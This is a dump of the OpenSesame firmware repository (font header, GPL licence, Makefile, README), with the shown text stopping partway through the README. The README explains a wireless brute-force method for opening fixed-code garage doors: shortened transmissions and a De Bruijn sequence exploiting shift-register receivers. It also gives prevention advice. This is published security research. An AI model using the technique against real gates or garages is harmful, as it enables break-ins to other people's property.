├── 5x7.h ├── LICENSE ├── Makefile ├── README.md ├── bits.h ├── cc1110.h ├── display.c ├── display.h ├── fbuffer.c ├── fbuffer.h ├── garages.h ├── inc ├── README ├── nyan1.png ├── nyan1.pnm ├── nyan1.pnm.inc ├── nyan2.png ├── nyan2.pnm ├── nyan2.pnm.inc ├── nyan3.png ├── nyan3.pnm ├── nyan3.pnm.inc ├── nyan4.png ├── nyan4.pnm └── nyan4.pnm.inc ├── ioCCxx10_bitdef.h ├── keys.c ├── keys.h ├── opensesame.c ├── pm.c ├── pm.h ├── rf.c ├── rf.h ├── types.h ├── zsprites.c └── zsprites.h /5x7.h: -------------------------------------------------------------------------------- 1 | /* 2 | * 5x7 fixed font taken from http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html 3 | * "Public domain font. Share and enjoy." 4 | */ 5 | 6 | #define FONT_WIDTH 5 7 | #define FONT_HEIGHT 7 8 | #define FONT_OFFSET 32 9 | #define FONT_MAX 127 10 | 11 | __xdata const unsigned char font[][FONT_WIDTH] = { 12 | {0x00, 0x00, 0x00, 0x00, 0x00}, /* space */ 13 | {0x00, 0x00, 0x5e, 0x00, 0x00}, /* exclam */ 14 | {0x00, 0x0e, 0x00, 0x0e, 0x00}, /* quotedbl */ 15 | {0x28, 0x7c, 0x28, 0x7c, 0x28}, /* numbersign */ 16 | {0x08, 0x54, 0x7c, 0x54, 0x20}, /* dollar */ 17 | {0x26, 0x10, 0x08, 0x64, 0x00}, /* percent */ 18 | {0x28, 0x54, 0x28, 0x40, 0x00}, /* ampersand */ 19 | {0x00, 0x00, 0x0e, 0x00, 0x00}, /* quotesingle */ 20 | {0x00, 0x3c, 0x42, 0x00, 0x00}, /* parenleft */ 21 | {0x00, 0x42, 0x3c, 0x00, 0x00}, /* parenright */ 22 | {0x00, 0x54, 0x38, 0x54, 0x00}, /* asterisk */ 23 | {0x10, 0x10, 0x7c, 0x10, 0x10}, /* plus */ 24 | {0x00, 0x80, 0x60, 0x20, 0x00}, /* comma */ 25 | {0x10, 0x10, 0x10, 0x10, 0x00}, /* hyphen */ 26 | {0x00, 0x60, 0x60, 0x00, 0x00}, /* period */ 27 | {0x20, 0x10, 0x08, 0x04, 0x00}, /* slash */ 28 | {0x00, 0x3c, 0x42, 0x3c, 0x00}, /* zero */ 29 | {0x00, 0x44, 0x7e, 0x40, 0x00}, /* one */ 30 | {0x44, 0x62, 0x52, 0x4c, 0x00}, /* two */ 31 | {0x22, 0x4a, 0x4a, 0x36, 0x00}, /* three */ 32 | {0x18, 0x14, 0x7e, 0x10, 0x00}, /* four */ 33 | {0x2e, 0x4a, 0x4a, 0x32, 0x00}, /* five */ 34 | {0x3c, 0x4a, 0x4a, 0x30, 0x00}, /* six */ 35 | {0x02, 0x62, 0x1a, 0x06, 0x00}, /* seven */ 36 | {0x34, 0x4a, 0x4a, 0x34, 0x00}, /* eight */ 37 | {0x0c, 0x52, 0x52, 0x3c, 0x00}, /* nine */ 38 | {0x00, 0x6c, 0x6c, 0x00, 0x00}, /* colon */ 39 | {0x80, 0x6c, 0x2c, 0x00, 0x00}, /* semicolon */ 40 | {0x00, 0x10, 0x28, 0x44, 0x00}, /* less */ 41 | {0x28, 0x28, 0x28, 0x28, 0x00}, /* equal */ 42 | {0x00, 0x44, 0x28, 0x10, 0x00}, /* greater */ 43 | {0x00, 0x04, 0x52, 0x0c, 0x00}, /* question */ 44 | {0x3c, 0x42, 0x5a, 0x1c, 0x00}, /* at */ 45 | {0x7c, 0x12, 0x12, 0x7c, 0x00}, /* A */ 46 | {0x7e, 0x4a, 0x4a, 0x34, 0x00}, /* B */ 47 | {0x3c, 0x42, 0x42, 0x24, 0x00}, /* C */ 48 | {0x7e, 0x42, 0x42, 0x3c, 0x00}, /* D */ 49 | {0x7e, 0x4a, 0x4a, 0x42, 0x00}, /* E */ 50 | {0x7e, 0x0a, 0x0a, 0x02, 0x00}, /* F */ 51 | {0x3c, 0x42, 0x52, 0x74, 0x00}, /* G */ 52 | {0x7e, 0x08, 0x08, 0x7e, 0x00}, /* H */ 53 | {0x00, 0x42, 0x7e, 0x42, 0x00}, /* I */ 54 | {0x20, 0x40, 0x40, 0x3e, 0x00}, /* J */ 55 | {0x7e, 0x18, 0x24, 0x42, 0x00}, /* K */ 56 | {0x7e, 0x40, 0x40, 0x40, 0x00}, /* L */ 57 | {0x7e, 0x0c, 0x0c, 0x7e, 0x00}, /* M */ 58 | {0x7e, 0x0c, 0x30, 0x7e, 0x00}, /* N */ 59 | {0x3c, 0x42, 0x42, 0x3c, 0x00}, /* O */ 60 | {0x7e, 0x12, 0x12, 0x0c, 0x00}, /* P */ 61 | {0x3c, 0x62, 0x42, 0xbc, 0x00}, /* Q */ 62 | {0x7e, 0x12, 0x32, 0x4c, 0x00}, /* R */ 63 | {0x24, 0x4a, 0x52, 0x24, 0x00}, /* S */ 64 | {0x00, 0x02, 0x7e, 0x02, 0x00}, /* T */ 65 | {0x3e, 0x40, 0x40, 0x3e, 0x00}, /* U */ 66 | {0x1e, 0x60, 0x60, 0x1e, 0x00}, /* V */ 67 | {0x7e, 0x30, 0x30, 0x7e, 0x00}, /* W */ 68 | {0x66, 0x18, 0x18, 0x66, 0x00}, /* X */ 69 | {0x00, 0x0e, 0x70, 0x0e, 0x00}, /* Y */ 70 | {0x62, 0x52, 0x4a, 0x46, 0x00}, /* Z */ 71 | {0x00, 0x7e, 0x42, 0x42, 0x00}, /* bracketleft */ 72 | {0x04, 0x08, 0x10, 0x20, 0x00}, /* backslash */ 73 | {0x00, 0x42, 0x42, 0x7e, 0x00}, /* bracketright */ 74 | {0x00, 0x04, 0x02, 0x04, 0x00}, /* asciicircum */ 75 | {0x40, 0x40, 0x40, 0x40, 0x00}, /* underscore */ 76 | {0x00, 0x02, 0x04, 0x00, 0x00}, /* grave */ 77 | {0x30, 0x48, 0x28, 0x78, 0x00}, /* a */ 78 | {0x7e, 0x48, 0x48, 0x30, 0x00}, /* b */ 79 | {0x30, 0x48, 0x48, 0x00, 0x00}, /* c */ 80 | {0x30, 0x48, 0x48, 0x7e, 0x00}, /* d */ 81 | {0x30, 0x68, 0x58, 0x10, 0x00}, /* e */ 82 | {0x10, 0x7c, 0x12, 0x04, 0x00}, /* f */ 83 | {0x50, 0xa8, 0xa8, 0x98, 0x00}, /* g */ 84 | {0x7e, 0x08, 0x08, 0x70, 0x00}, /* h */ 85 | {0x00, 0x48, 0x7a, 0x40, 0x00}, /* i */ 86 | {0x00, 0x40, 0x80, 0x7a, 0x00}, /* j */ 87 | {0x7e, 0x10, 0x28, 0x40, 0x00}, /* k */ 88 | {0x00, 0x42, 0x7e, 0x40, 0x00}, /* l */ 89 | {0x78, 0x10, 0x18, 0x70, 0x00}, /* m */ 90 | {0x78, 0x08, 0x08, 0x70, 0x00}, /* n */ 91 | {0x30, 0x48, 0x48, 0x30, 0x00}, /* o */ 92 | {0xf8, 0x48, 0x48, 0x30, 0x00}, /* p */ 93 | {0x30, 0x48, 0x48, 0xf8, 0x00}, /* q */ 94 | {0x78, 0x08, 0x08, 0x10, 0x00}, /* r */ 95 | {0x50, 0x58, 0x68, 0x28, 0x00}, /* s */ 96 | {0x08, 0x3e, 0x48, 0x40, 0x00}, /* t */ 97 | {0x38, 0x40, 0x40, 0x78, 0x00}, /* u */ 98 | {0x00, 0x38, 0x40, 0x38, 0x00}, /* v */ 99 | {0x78, 0x60, 0x60, 0x78, 0x00}, /* w */ 100 | {0x48, 0x30, 0x30, 0x48, 0x00}, /* x */ 101 | {0x18, 0xa0, 0x40, 0x38, 0x00}, /* y */ 102 | {0x48, 0x68, 0x58, 0x48, 0x00}, /* z */ 103 | {0x00, 0x08, 0x3c, 0x42, 0x00}, /* braceleft */ 104 | {0x00, 0x00, 0x7e, 0x00, 0x00}, /* bar */ 105 | {0x00, 0x42, 0x3c, 0x08, 0x00}, /* braceright */ 106 | }; 107 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | libs=display.rel rf.rel keys.rel fbuffer.rel zsprites.rel pm.rel 2 | simlibs=display.c.sim.rel rf.c.sim.rel keys.c.sim.rel 3 | CC=sdcc 4 | CFLAGS=#--no-pack-iram #--stack-auto 5 | LFLAGS=--xram-loc 0xF000 --model-large 6 | #LFLAGS=--xram-loc 0xF000 --model-small 7 | SIMFLAGS=-DSIMULATOR 8 | 9 | all: opensesame.hex #simulator.hex 10 | 11 | %.rel : %.c 12 | $(CC) $(CFLAGS) $(LFLAGS) -c $< 13 | #$(CC) $(SIMFLAGS) $(CFLAGS) $(LFLAGS) -c $< -o $<.sim.rel 14 | 15 | simulator.hex: opensesame.c.sim.rel $(libs) 16 | $(CC) $(SIMFLAGS) $(LFLAGS) opensesame.c.sim.rel $(simlibs) 17 | packihx simulator.hex 18 | 19 | opensesame.hex: opensesame.rel $(libs) 20 | $(CC) $(LFLAGS) opensesame.rel $(libs) 21 | packihx opensesame.hex 22 | 23 | install: opensesame.hex 24 | goodfet.cc erase 25 | goodfet.cc flash opensesame.hex 26 | verify: opensesame.hex 27 | goodfet.cc verify opensesame.hex 28 | clean: 29 | rm -f *.hex *.ihx *.rel *.map *.lnk *.lst *.mem *.sym *.rst *.asm *.lk rf sim.out 30 | sim: 31 | echo > sim.out 32 | echo "Run:" 33 | echo "tail -f sim.out" 34 | echo 35 | s51 -s sim.out simulator.hex 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [OpenSesame](https://samy.pl/opensesame/) 2 | 3 | [OpenSesame](https://samy.pl/opensesame) is a device that can wirelessly open virtually any fixed-code garage door in seconds, exploiting a **new attack** I've discovered on wireless fixed-pin devices. Using a child's toy from Mattel. 4 | 5 | **Update to attack rolling codes:** I've demonstrated a new tool, RollJam, which additionally attacks rolling codes of garages and vehicles, presented here at DEFCON 23. 6 | 7 | ##### Follow me on [Twitter](https://twitter.com/samykamkar) or [join my mailing list](https://samy.pl/list/) to hear about future projects and research. 8 | 9 | By [@SamyKamkar](https://twitter.com/samykamkar) 10 | 11 | **Live demonstration** and full details available in the 12 | video: 13 | OpenSesame 14 | 15 | Released June 4, 2015 16 | 17 | **Source code:** [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) 18 | 19 | **Prevention:** If you are using a gate or garage which uses "fixed codes", to prevent this type of attack, ensure you upgrade to a system which clearly states that it's using **rolling codes, hopping codes, Security+ or Intellicode**. These are **not** foolproof from attack, but do prevent the OpenSesame attack along with traditional brute forcing attacks. Suggested vendors: current products from LiftMaster and Genie. 20 | 21 | **Criminals:** The code I've released is bricked to prevent you from abusing it. It *almost* works, but just not quite, and is released to educate. If you are an expert in RF and microcontrollers, you could fix it, but then you wouldn't need my help in the first place, would you. 22 | 23 | ----- 24 | 25 | # (U) Capabilities 26 | 27 | ![OpenSesame](https://samy.pl/opensesame/garage.gif) 28 | 29 | **[OpenSesame](https://samy.pl/opensesame)** exploits not only the limited key space of most fixed pin wireless garages and gates, but employs a **new attack** I've discovered reducing the time it takes to open any garage by over 95%. This means most garages will take only seconds to open. 30 | 31 | OpenSesame uses the Radica Girltech IM-ME texting toy from Mattel, as it sports all the equipment we need to pull off the attack -- an effective [TI CC1110](https://www.ti.com/product/cc1110-cc1111) sub-GHz RF chip, an LCD display, keyboard, backlight, and more. And it's pink. 32 | 33 | This tool builds off of the shoulders of giants, including the original opensesame by Michael Ossmann, IM-ME code & goodfet.cc by Travis Goodspeed, IM-ME LCD reverse engineering by Dave, and effective ideas from Mike Ryan. Additional links and resources included at the end. 34 | 35 | Note, this will **not** open garages using rolling codes. Garages with rolling code technology (often called "Intellicode", "Security+", ""hopping codes", etc) are much more secure than fixed-pin garages **but *are* susceptible to other attacks**. 36 | 37 | ![OpenSesame](https://samy.pl/opensesame/nyan.gif) 38 | 39 | ----- 40 | 41 | # (U) Primary Issues 42 | 43 | *See `The OpenSesame Attack` section below for the **new** attack.* 44 | 45 | The simple, less-interesting vulnerability in fixed code systems is the clear fact that their key space is **extremely** limited. For example, a 12-bit (12 binary dip switch) garage/remote supports 12 bits of possible combinations. This is essentially a fixed password that opens your garage. Since it's binary and 12 bits long, that's 2\*\*12, which is 4096 possible combinations. 46 | 47 | **A 2-character password on a website is more than twice as hard to solve than to brute force the 12-bit binary dip switch garage.** This is a basic (and sadly long-standing) issue that we exploit, but the exciting attack is in **The OpenSesame Attack** section. 48 | 49 | Now in a common garage and clicker, we're going to be using between an 8-12 bit code, and we see a single click sends the same code 5 times, and we see each "bit" takes 2ms to send, with a 2ms wait period per bit after the entire code is sent. So a single 12-bit combination takes (12 bits * 2ms transmit * 2ms wait * 5 times = 240ms). To brute force the entire 8, 9, 10, 11 and 12-bit key space, that's: 50 | 51 | (((2 \*\* 12)\*12) + ((2 \*\* 11)\*11) + ((2 \*\* 10)\*10) + ((2 \*\* 9)\*9) + ((2 \*\* 8)\*8)) = 88576 bits 52 | 53 | **88576 bits * 4ms * 5 transmits = 1771.52 seconds = 29 minutes** 54 | 55 | So it takes 29 minutes to open an (8-12)-bit garage (assuming you know the frequency and baud rate, both of which are pretty common.) If you have to attempt a few different frequencies and baud rates, then the time it takes is a multiple of 29 minutes. 56 | 57 | **This is not bad, but we can do better.** 58 | 59 | ----- 60 | 61 | # (U) Initial Reduction 62 | 63 | The first attempt at reduction is pretty obvious and is to remove the retransmission. Instead of transmitting the signal 5 times each time, only transmit it once. It's transmitted multiple times to help the receiver detect it in case of interference, but assuming there's no interference or issues receiving, this reduces the time by 5! 64 | 65 | **1771.52s / 5 = 354.304 seconds = ~6 minutes** 66 | 67 | Nice. 68 | 69 | Now while initially testing basic brute forcing on garages, I was chatting with some #ubertooth people, and [mikeryan](https://lacklustre.net/) suggested I remove the wait period between sending each full code and see if I can send each code back-to-back. So instead of sending "111111000000[wait for 12 bits]111111000001", I would send "111111000000111111000001". 70 | 71 | This worked, and reduced the entire time to transmit all codes by 50%! Incredible. 72 | 73 | **1771.52s / 5 / 2 = 177.152 seconds = ~3 minutes** 74 | 75 | **This is not bad, but we can do better.** 76 | 77 | ----- 78 | 79 | # (U) The OpenSesame Attack 80 | 81 | ![De Bruijn](https://samy.pl/opensesame/db.png) 82 | 83 | Here's the kicker. When looking at the data we're sending, we're now sending a continuous stream of bits. For example: 84 | 85 | * (code #1) 000000000000 86 | * (code #2) 000000000001 87 | * (code #3) 000000000010 88 | * (code #4) 000000000011 89 | and so on, which looks like: 90 | **000000000000**000000000001**000000000010**000000000011 91 | 92 | The question is, how does the garage receiver look at these bits? What if it's using a bit [shift register](https://en.wikipedia.org/wiki/Shift_register)? 93 | 94 | According to Wikipedia: 95 | 96 | ```In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.``` 97 | 98 | If this is the case, what this means is that if you prepend the real code with *any* amount of bits before or after, the garage won't care and will open. 99 | 100 | Let's say our garage pin is 111111000000. If the garage uses a shift register, and we send 13 bits, "**0**111111000000", the garage will first test: 101 | 011111100000 (incorrect). 102 | 103 | We would assume it will then move onto the next 12 bits (even though there is only one bit left). But no! A shift register only removes 1 bit, then pulls in the next bit. 104 | 105 | So the garage actually tests: 106 | 011111100000 (incorrect) 107 | (chops off the first bit, then pulls in the next bit) 108 | 111111000000 (correct!) 109 | 110 | Meaning we sent 13 bits to test **two** 12-bit codes instead of sending a full 24 bits. Incredible! 111 | 112 | What's even more beautiful is that since the garage is not clearing an attempted code, a 12 bit code also tests five 8 bit codes, four 9 bit codes, three 10 bit codes, two 11 bit codes, and of course one 12 bit code! As long as we send every 12 bit code, the 8-11 bit codes will all be tested simultaneously. 113 | 114 | Now, there must be an algorithm to *efficiently* produce every possible code, with overlap (to exploit the shift register) in as few bits as possible. 115 | 116 | **My main man, [De Bruijn](https://en.wikipedia.org/wiki/Nicolaas_Govert_de_Bruijn).** 117 | 118 | Nicolaas Govert de Bruijn was a Dutch mathematician who discovered just this, dubbed the [De Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence). 119 | 120 | OpenSesame implements this algorithm to produce every possible overlapping 